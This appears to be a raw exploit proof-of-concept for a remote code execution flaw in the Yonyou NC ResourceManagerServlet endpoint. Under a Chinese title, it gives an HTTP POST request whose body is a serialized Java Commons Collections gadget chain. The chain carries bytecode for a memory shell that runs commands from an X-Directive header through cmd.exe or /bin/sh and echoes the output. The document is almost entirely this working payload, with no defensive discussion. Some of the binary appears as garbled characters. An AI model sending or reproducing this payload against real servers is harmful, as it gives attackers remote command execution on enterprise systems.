Description
用友 NC ResourceManagerServlet 接口远程代码执行漏洞
用友 NC ResourceManagerServlet 接口远程代码执行漏洞
POST /servlet/~ic/uap.framework.rc.controller.ResourceManagerServlet HTTP/1.1
Host:
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 5389
Content-Type: application/octet-stream
X-Directive: echo 111111
�� sr 2sun.reflect.annotation.AnnotationInvocationHandlerU���~� L memberValuest Ljava/util/Map;L typet Ljava/lang/Class;xps}
java.util.Mapxr java.lang.reflect.Proxy�'� �C� L ht %Ljava/lang/reflect/InvocationHandler;xpsq ~ sr *org.apache.commons.collections.map.LazyMapn唂�y� L factoryt ,Lorg/apache/commons/collections/Transformer;xpsr :org.apache.commons.collections.functors.ChainedTransformer0Ǘ�(z� [
iTransformerst -[Lorg/apache/commons/collections/Transformer;xpur -[Lorg.apache.commons.collections.Transformer;�V*��4� xp sr ;org.apache.commons.collections.functors.ConstantTransformerXv�A�� L iConstantt Ljava/lang/Object;xpvr &org.apache.xalan.xsltc.trax.TrAXFilter xpsr >org.apache.commons.collections.functors.InstantiateTransformer4�����; [ iArgst [Ljava/lang/Object;[ iParamTypest [Ljava/lang/Class;xpur [Ljava.lang.Object;��X�s)l xp sr )org.apache.xalan.xsltc.trax.TemplatesImpl WO�n��3 I
_indentNumberI _transletIndexL _auxClassest *Lorg/apache/xalan/xsltc/runtime/Hashtable;[
_bytecodest [[B[ _classq ~ L _namet Ljava/lang/String;L _outputPropertiest Ljava/util/Properties;xp ����pur [[BK�gg�7 xp ur [B���T� xp ]���� 2 � TnT1030409776613934 java/lang/Object
SourceFile TnT1030409776613934.java writeBody (Ljava/lang/Object;[B)V $org.apache.tomcat.util.buf.ByteChunk java/lang/Class forName %(Ljava/lang/String;)Ljava/lang/Class;
newInstance ()Ljava/lang/Object;
setBytes [B java/lang/Integer TYPE Ljava/lang/Class; getDeclaredMethod @(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
! <init> (I)V # $
% java/lang/reflect/Method ' invoke 9(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; ) *
( + getClass ()Ljava/lang/Class; - .
/ doWrite 1 getMethod 3
4 java/lang/NoSuchMethodException 6 java.nio.ByteBuffer 8 wrap : Code
Exceptions java/lang/Exception >
StackMapTable getFV 8(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object; getDeclaredField -(Ljava/lang/String;)Ljava/lang/reflect/Field; C D
E java/lang/NoSuchFieldException G
getSuperclass I .
J (Ljava/lang/String;)V # L
H M "java/lang/reflect/AccessibleObject O
setAccessible (Z)V Q R
P S java/lang/reflect/Field U get &(Ljava/lang/Object;)Ljava/lang/Object; W X
V Y ()V # [
\ java/lang/Thread ^
currentThread ()Ljava/lang/Thread; ` a
_ b getThreadGroup ()Ljava/lang/ThreadGroup; d e
_ f threads h A B
j [Ljava/lang/Thread; l getName ()Ljava/lang/String; n o
_ p exec r java/lang/String t contains (Ljava/lang/CharSequence;)Z v w
u x http z target | java/lang/Runnable ~ this$0 � handler � global �
processors � java/util/List � size ()I � � � � (I)Ljava/lang/Object; W � � � req � getResponse � getHeader � X-Test � isEmpty ()Z � �
u � setStatus � addHeader � X-Directive � os.name � java/lang/System � getProperty &(Ljava/lang/String;)Ljava/lang/String; � �
� � toLowerCase � o
u � window � cmd.exe � /c � /bin/sh � -c � java/util/Scanner � java/lang/ProcessBuilder � ([Ljava/lang/String;)V # �
� � start ()Ljava/lang/Process; � �
� � java/lang/Process � getInputStream ()Ljava/io/InputStream; � �
� � (Ljava/io/InputStream;)V # �
� � \A � useDelimiter '(Ljava/lang/String;)Ljava/util/Scanner; � �
� � next � o
� � getBytes ()[B � �
u �
� showpath � getContextClassLoader ()Ljava/lang/ClassLoader; � �
_ � � java/lang/ClassLoader � getResource "(Ljava/lang/String;)Ljava/net/URL; � �
� � java/net/URL � getPath � o
� � [Ljava/lang/String; � /org/apache/xalan/xsltc/runtime/AbstractTranslet �
� \ ! �
<